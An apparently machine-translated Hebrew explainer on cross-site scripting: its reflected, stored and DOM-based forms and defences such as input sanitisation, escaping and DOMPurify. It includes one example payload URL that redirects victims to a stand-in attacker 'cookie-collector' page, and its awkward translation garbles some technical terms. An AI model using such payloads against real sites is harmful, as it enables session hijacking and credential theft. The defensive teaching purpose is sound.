כיצד האקרים משתמשים ב- Scripting בין אתרים כדי לשבור אתרים ולגנוב נתונים

סקריפטים בין אתרים או XSS יכולים להיות התקפה חזקה ומהירה. כמפתח, אתה יכול אפילו לקחת את זה עבור באג בקוד שלך ובסופו של דבר לחפש באגים שאינם שם.

כלקוח המשתמש באתר הפגיע, אתה יכול גם לחשוף בתמימות מידע חיוני אודות גישת האימות שלך לתוקף.

אז מה זה סקריפטים בין אתרים? איך האקרים יכולים להשתמש בו כדי לפרוץ לאתר ולגנוב את הנתונים שלך? ואיך אפשר למתן סיכון כזה?

מה זה סקריפטים בין אתרים?

סקריפטים בין אתרים או XSS קורים אם סקריפט מאתר זדוני מקיים אינטראקציה עם קוד על קוד פגיע.

אך השרתים מחוברים באופן שמונע מאנשים ללא אימות לגשת ולערוך את קוד המקור של האתר שלך.

האינטרנט משתמש באותה מדיניות מקור (SOP) כדי לחסום אינטראקציות בין אתרים. עם זאת, SOP בודק שלוש פרצות אבטחה עיקריות ומנסה למתן אותן. הם:

• מדיניות פרוטוקול אינטרנט שבודקת אם שני האתרים מספקים תוכן ב- SSL מאובטח (HTTPS) או בכתובת URL לא מאובטחת (HTTP).
• אותה מדיניות אירוח אתרים, שמבטיחה שאתה מארח את שני האתרים באותו תחום.
• מדיניות הנמל שבודקת אם שני האתרים משתמשים בנקודות קצה דומות של תקשורת.

SOP גורסת כי אם כל אחת ממדיניות זו שונה בשני אתרי אינטרנט כלשהם, הם אינם יכולים לקרוא או להחליף נתונים באינטרנט.

אך JavaScript הוא שפה מניפולטיבית הקובעת את תגובת האתר. בעוד ש- JavaScript של אתר האינטרנט שלך נמצא ככל הנראה בקובץ נפרד, אתה יכול גם ליצור תג סקריפט ולכתוב אותו במודל אובייקט המסמך (DOM).

אז תוקף XSS עשוי לחשוב: "אם אתה יכול לכתוב JavaScript ב- DOM, בסופו של דבר אתה יכול לבצע אותו ב כל עורך קוד או שדה קלט שמקבל תגי HTML. "

פגיעות וסיכוי כאלה הם התוקפים המשתמשים ב- XSS מחפשים באתר יעד. ברגע שהם מוצאים פרצה כזו, הם יכולים לעקוף את SOP.

קָשׁוּר: גיליון הרמאות האולטימטיבי של JavaScript

XSS, אם כן, היא מתקפה שחוטפים משתמשים בה כדי להזריק סקריפט שמבצע פעולות זדוניות לאתר פגיע. התסריט יכול למקד לטפסים לא מוגנים או לשדות קלט המקבלים נתונים.

כיצד עובד סקריפטים בין אתרים וסוגים, עם דוגמאות

XSS יכול להיות ביצוע מהיר של סקריפט משתקף או זמני שתוקף מציב בטפסים כמו שדות חיפוש. זה יכול להיות גם מנדנד או מתמיד שמוזרק למסד הנתונים. או שזה יכול לבוא באופן פסיבי לאחר טעינת עמוד.

במקרים מסוימים, תסריט זה יכול גם לשנות את הקלט המקורי של הקורבן בכדי להסיט את כוונתו. שינוי מתמשך בתשומות של משתמש כזה הוא XSS המוטציה.

בכל צורה שהיא תגיע, המטרה של התקפת XSS היא לגנוב את נתוני הקורבן באמצעות קובצי Cookie וביומנים חשופים.

בואו נסתכל על הסבר קצר על כל אחד מסוגי ההתקפה XSS הללו והדוגמאות שלהם כדי להבין מה הם.

מהו XSS מוחזר?

XSS משתקף או זמני הוא הזרקה ישירה של JavaScript לשדה הקלט של המשתמש. היא מכוונת לבקשות שמקבלות נתונים ממסד הנתונים, כמו תוצאות חיפוש. אבל זו התקפה של יעד לקוח אחד.

במהלך XSS משתקף, תוקף מכניס סקריפט למונח החיפוש של קורבן יעד. JavaScript כזה עשוי להיות הד, הפניה מחדש או אספן קובצי cookie.

התסריט המוזרק לשדה קלט החיפוש ואז מבוצע ברגע שלקוח יעד מגיש את שאילתתו.

לדוגמא, במהלך חיפוש המשתמש, תוקף עשוי להכניס JavaScript המהדהד טופס, בבקשה שהקורבן יזין את הסיסמה או שם המשתמש שלו. ברגע שהמשתמש יעשה זאת, הם עשויים בסופו של דבר להגיש את האישורים שלהם ללא ידיעה לתוקף, מתוך מחשבה שזו בקשה מהאתר המקורי.

לפעמים, התוקף יכול גם להשתמש בסקריפט להפניית משתמש מהדף הפגיע לדף שלו. שם בעמוד התוקף, אז ניתן להטעות משתמש תמימים בכדי להגיש כמה טפסים, מה שמוביל לדליפת אישורים.

באופן דומה, אם המטרה היא לגנוב הפעלה של משתמש, התוקף מזריק סקריפט לאיסוף קובצי cookie למונח החיפוש של המשתמש. לאחר מכן הם חוטפים את הפגישה הנוכחית של המשתמש, גונבים מידע רלוונטי ומשתלטים על פעילויות הקורבן.

דוגמת ההתקפה XSS שלמטה גונבת קובץ cookie של משתמש באמצעות בקשת GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

בדוגמה XSS לעיל, התוקף מוצא פרצה באתר הפגיע. לכן כאשר משתמש מחפש משאב לא זמין באתר הפגיע, הוא מפנה אותו לדף התוקף. לאחר מכן מקיש התוקף על קובץ ה- cookie של המשתמש הנוכחי ואוחז בהפעלה שלו.

עם זאת, פגיעות זו שכיחה כאשר פעולת השאילתה של אתר אינה מסוננת כדי לבדוק הזרקות סקריפט באמצעות HTML.

אך גם אם יש שאילתה מסוננת, התוקף יכול לעקוף זאת על ידי נקיטת אמצעים נואשים כמו שליחת קישורים למשתמשים אפשריים בזמן אמת באתר. הם יכולים לעשות זאת באמצעות כל אחד מהם צורה של הנדסה חברתית זמין להם.

קָשׁוּר: מה לעשות לאחר נפילה להתקפת פישינג

ברגע שהקורבנות לוחצים על קישור כזה, כעת יכול החוטף לבצע את התקפת ה- XSS בהצלחה ולגנוב מהקורבן נתונים רלוונטיים.

התסריט החוצה אתרים המתמשך או המאוחסן

ה- XSS המאוחסן מהווה איומים נוספים. במקרה זה, תוקף מאחסן את הסקריפט במסד הנתונים של האתר, מה שמפעיל ביצוע מתמשך של הסקריפט המאוחסן. הקוד המאוחסן יכול לפעול בעומס העמוד או לאחר טעינת הדף.

שלא כמו הצורה הזמנית של XSS, XSS מאוחסן מכוון לכל בסיס המשתמשים באתר הפגיע. בנוסף לכך, היא מכוונת גם לשלמות האתר המושפע.

במהלך XSS מתמשך, תוקף משתמש בשדות קלט כגון טפסי תגובה כדי לפרסם את הסקריפט במסד הנתונים של האתר.

אבל מה אם אתה מגן על שדות POST באמצעות אסימוני CSRF? למרבה הצער, סקריפטים המאוחסנים על-פני האתר עוקפים את בדיקות ה- CSRF.

הסיבה לכך היא שהתוקף מגיש טופס כמו כל משתמש אחר באתר. לכן, טופס תגובה כזה שולח את הסקריפט למסד הנתונים כפי שהוא עושה את כל שאר ההערות.

התקפה כזו יכולה לקרות כאשר שדות קלט באתר אינם משתמשים בתכשירי חיטוי מתאימים לבריחת סקריפטים ותגי HTML.

תאר לעצמך משתמש שמפרסם את הסקריפט למטה באמצעות טופס תגובה לאינטרנט:

כאשר תוקף מכניס קוד כזה למסד הנתונים של האתר, הוא ממשיך להפנות קורבן לאתר התוקף בעומס העמוד. התסריט יכול להיות גם התראה, תיבת מודלים אינטראקטיבית או מודעה זדונית מוטמעת.

מכיוון שהסקריפט מנותב מחדש את טעינת הדף, קורבן שאינו מכיר את האתר הפגיע עשוי להבחין בהפניה מחדש.

לאחר מכן הם ממשיכים לקיים אינטראקציה עם אתר התוקף. עם זאת, החוטף יכול להשתמש בכמה אמצעים כדי לקבל מידע מהקורבנות ברגע שהם נמצאים בדף האינטרנט שלהם.

מהו DOM או XSS פסיבי?

XSS מבוסס DOM מבצע קוד זדוני המוטמע באתר, ומכריח את כל ה- DOM בצד הלקוח להתנהג בצורה חריגה.

בעוד ש- XSS מאוחסן ומשתקף מכוון לבקשות בצד השרת באתר, DOM XSS מכוון לפעילויות זמן ריצה. זה עובד על ידי הכנסת סקריפט לרכיב האתר שמבצע משימה ספציפית. רכיב זה אינו מבצע פעולה בצד השרת.

עם זאת, התסריט שהוכנס לרכיב כזה משנה את כוונתו לחלוטין. אם רכיב זה מבצע משימה הקשורה ל- DOM, כגון אלה שמשנות את רכיבי האתר, הסקריפט עשוי לאלץ את שינוי כל דף האינטרנט.

במקרים גרועים יותר, XSS מבוסס DOM יכול לחקות באג. הסיבה לכך היא שדף האינטרנט הופך לתגובה יוצאת דופן.

כיצד למנוע התקפת תסריטים חוצה אתרים

פגיעות של XSS נובעת משימוש לא נכון בשיטות העבודה הטובות ביותר למערכות backend. כך שמניעת התקפת סקריפטים בין אתרים היא בדרך כלל באחריות המפתח. אך למשתמשים יש גם תפקיד.

השימוש באסימון CSFR לשדות קלט לא נראה פיתרון להתקפות XSS. ומכיוון שמתקפה זו עוקפת גם את אותה מדיניות מקור, מפתחים צריכים להיזהר שלא להשמיט נוהלי אבטחה המונעים XSS.

אמצעי המניעה הבאים מועילים למפתחים.

לטהר את שדות הקלט

כדי למנוע XSS מאוחסן וגם זמני, עליך להשתמש בחיטוי יעיל עבור שדות קלט. ניקוי שאילתות חיפוש, למשל, מונע הזרקת תג למונחי החיפוש של המשתמשים.

השתמש ב- Unicode ובבריחה אוטומטית של HTML

כדאי להשתמש בבריחה אוטומטית של HTML ו- Unicode כדי למנוע משדות קלט כמו טפסי הערות והמרות לקבל סקריפטים ותגי HTML. בריחה אוטומטית היא אמצעי מניעה חזק נגד XSS מאוחסן או מתמשך.

לאפשר למשתמשים להוסיף תגים לטופסי תגובה זה רעיון רע לכל אתר. זו הפרת אבטחה. עם זאת, אם עליך לאפשר זאת, עליך לקבל רק תגים שאינם מהווים איומי XSS.

השתמש באימות קלט מתאים

גם אם תחסום תגים לחלוטין, תוקף עדיין יכול לבצע התקפת XSS באמצעים חברתיים. הם יכולים לשלוח מיילים במקום להציב דבר ישירות באתר הפגיע.

אז שיטה נוספת למניעה היא לאמת תשומות ביעילות. אמצעים כאלה כוללים אימות פרוטוקולים והבטחה שהאתר שלך מקבל רק קלטים מ- HTTPS מאובטח ולא מ- HTTP.

שימוש בספריות JavaScript ייעודיות כמו dompurify יכול גם לסייע בחסימת הפרות אבטחה הקשורות ל- XSS.

אתה יכול להשתמש בכלים כמו סורק XSS אוֹ GEEKFLARE כדי לבדוק אם קיימות נקודות תורפה באתר שלך.

כיצד משתמשים יכולים למנוע XSS

ישנם מיליוני אתרים באינטרנט כיום. אז בקושי תוכלו לדעת לאיזו מהן יש בעיות אבטחה של XSS.

עם זאת, כמשתמש, עליך לוודא שאתה מכיר כל שירות אינטרנט לפני השימוש בו. אם דף אינטרנט מתחיל פתאום להיות מצמרר או מתחיל להתנהג בצורה חריגה, זה יכול להיות דגל אדום.

לא משנה מה המקרה, היזהר לא לחשוף נתונים אישיים עם צד שלישי לא מהימן. אז חפשו אחר אימיילים לא רצויים או פוסטים חשודים ברשתות החברתיות שעלולים לגרום לכל דבר צורה של התקפות פישינג.

אין שיטה מונעת אחת שמתאימה לכולם

ראינו איך נראית התקפת XSS וכיצד ניתן למנוע אותה. קל לשכוח בדיקות אבטחה של XSS במהלך הפיתוח. אז על מפתחים לנקוט בצעדים כדי להבטיח שההגנה אינה מושמטת. עם זאת, שילוב של אמצעי המניעה שמנינו קודם עובד טוב יותר.

מהן התקפות CSRF וכיצד ניתן למנוע אותן?

כדי למנוע מאיבוד מזומנים ואישורים בהתקפות CSRF, למפתחים ולמשתמשים יש תפקיד.

על הסופר